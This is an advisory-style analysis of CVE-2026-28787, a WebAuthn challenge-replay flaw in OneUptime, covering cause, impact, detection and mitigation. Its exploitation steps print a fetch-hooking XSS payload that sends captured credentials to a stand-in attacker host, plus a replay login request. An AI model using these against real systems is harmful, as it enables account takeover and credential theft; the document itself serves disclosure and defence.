CVE-2026-28787: 
JavaScript vulnerability analysis and mitigation

CVE-2026-28787 is a WebAuthn 2FA bypass vulnerability in OneUptime, an open-source monitoring and incident management platform. The flaw allows an attacker who has obtained a valid WebAuthn assertion to replay it indefinitely, completely bypassing second-factor authentication. It affects OneUptime versions 10.0.11 and prior (npm package). The vulnerability was published on March 6, 2026, with the security advisory authored by researcher dorakemon and published March 1, 2026. It carries a CVSS v3.1 base score of 8.2 (High) per the GitHub advisory, though Feedly reports a score of 9.0 (Critical) (GitHub Advisory, Red Hat CVE).

The root cause is classified as CWE-287 (Improper Authentication) and CWE-294 (Authentication Bypass by Capture-replay). During WebAuthn authentication, OneUptime generates a random challenge via generateAuthenticationOptions() but never stores it server-side in a session or database — violating W3C Web Authentication Level 2, §13.4.3. Instead, the challenge is returned to the client and then read back from the untrusted request body (data["challenge"]) in Authentication.ts:1042 during verification. The verifyAuthentication() method passes this client-controlled value as expectedChallenge to @simplewebauthn/server's verifyAuthenticationResponse(), meaning both the expected challenge and the challenge embedded in the captured clientDataJSON originate from the same intercepted assertion — so they always match, and the cryptographic signature remains valid. An attacker must first obtain the victim's password and capture a single valid WebAuthn assertion (via XSS, MitM, or log exposure) (GitHub Advisory).

Successful exploitation renders WebAuthn 2FA completely ineffective for all OneUptime users who have enrolled WebAuthn/Passkey as a second factor. An attacker with the victim's password and a single captured assertion can authenticate as the victim indefinitely, since there is no server-side challenge state to invalidate the replayed credential. This grants full account access, including access to monitored service configurations, incident data, and potentially sensitive infrastructure details. The vulnerability can be chained with stored XSS (e.g., via Mermaid diagram rendering in status pages) to capture assertions, and with absent rate limiting to perform credential stuffing for passwords (GitHub Advisory).

A proof-of-concept exploit with detailed step-by-step reproduction instructions, including a concrete HTTP POST request payload, is publicly available in the GitHub security advisory (GitHub Advisory). The exploit is rated high confidence and is written in TypeScript. There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is 0.047% (0.000470), indicating low but non-zero probability of exploitation in the near term. The vulnerability is not currently listed in the CISA KEV catalog (Feedly).

1. Obtain victim credentials: Acquire the victim's OneUptime password via credential stuffing, phishing, or other means. User enumeration may be possible via differential error messages on the login endpoint.
2. Capture a valid WebAuthn assertion: Intercept a legitimate authentication exchange from the victim. One method is injecting a JavaScript payload via stored XSS (e.g., in a Mermaid diagram on a OneUptime status page) that hooks window.fetch to exfiltrate the challenge and credential fields when the victim authenticates:

const origFetch = window.fetch;
window.fetch = async function(url, opts) {
  if (url.includes('/verify') && opts?.body) {
    const body = JSON.parse(opts.body);
    if (body.data?.credential) {
      navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({
        challenge: body.data.challenge,
        credential: body.data.credential
      }));
    }
  }
  return origFetch.apply(this, arguments);
};

3. Replay the captured assertion: At any later time, send the following HTTP request with the victim's email, password, and the captured challenge and credential:

POST /api/identity/authentication/login HTTP/1.1
Content-Type: application/json

{
  "data": {
    "email": "victim@example.com",
    "password": "<victim_password>",
    "challenge": "<captured_challenge>",
    "credential": {
      "id": "<captured_id>",
      "rawId": "<captured_rawId>",
      "response": {
        "authenticatorData": "<captured_authenticatorData>",
        "clientDataJSON": "<captured_clientDataJSON>",
        "signature": "<captured_signature>"
      },
      "type": "public-key",
      "clientExtensionResults": {},
      "authenticatorAttachment": "platform"
    }
  }
}

4. Achieve authentication: The server accepts the request because the client-supplied challenge matches the challenge in clientDataJSON (both from the same captured assertion), and the cryptographic signature is valid. A session token is returned, granting full account access without possessing the victim's authenticator device (GitHub Advisory).

• Network: Repeated POST requests to /api/identity/authentication/login with identical challenge and credential values across different sessions or time periods; outbound sendBeacon or fetch requests from OneUptime status pages to unknown external domains (indicative of XSS-based assertion exfiltration).
• Logs: Authentication success events for a user account from unexpected IP addresses or geographic locations; multiple successful logins using the same WebAuthn credential ID (id field) without corresponding authenticator device interaction; login events at unusual times inconsistent with user behavior.
• Application Behavior: Absence of server-side challenge storage in session or database tables during WebAuthn flows; WebAuthn verification succeeding with a challenge value sourced from the request body rather than a server-stored value.
• Process/Code: Presence of the vulnerable code pattern data["challenge"] as string in Authentication.ts around line 1042, confirming an unpatched instance (GitHub Advisory).

As of the advisory publication date, no official patch is available for OneUptime — all versions up to and including 10.0.11 are affected. The recommended remediation is to implement server-side storage and verification of WebAuthn challenges (e.g., in a session or database) in compliance with W3C Web Authentication Level 2, §13.4.3, so that the expectedChallenge is never sourced from the client request body. As interim workarounds: temporarily disable WebAuthn as a second-factor authentication method; audit logs for signs of assertion replay; remediate any XSS vulnerabilities (particularly in Mermaid diagram rendering on status pages) that could enable assertion capture; and implement rate limiting on the /api/identity/authentication/login endpoint. Organizations should monitor the GitHub Advisory for patch availability (GitHub Advisory, Feedly).

The vulnerability was reported by researcher dorakemon and published via GitHub's security advisory program on March 1, 2026. Coverage appeared on Mastodon via @thehackerwire and on security aggregator sites including infinitsec.net and cvefeed.io shortly after disclosure. The INCIBE-CERT (Spain's national cybersecurity agency) also published an early warning entry for this CVE. Community reaction has focused on the fundamental nature of the flaw — trusting client-supplied values in a protocol explicitly designed to prevent this — and the lack of an available patch (GitHub Advisory).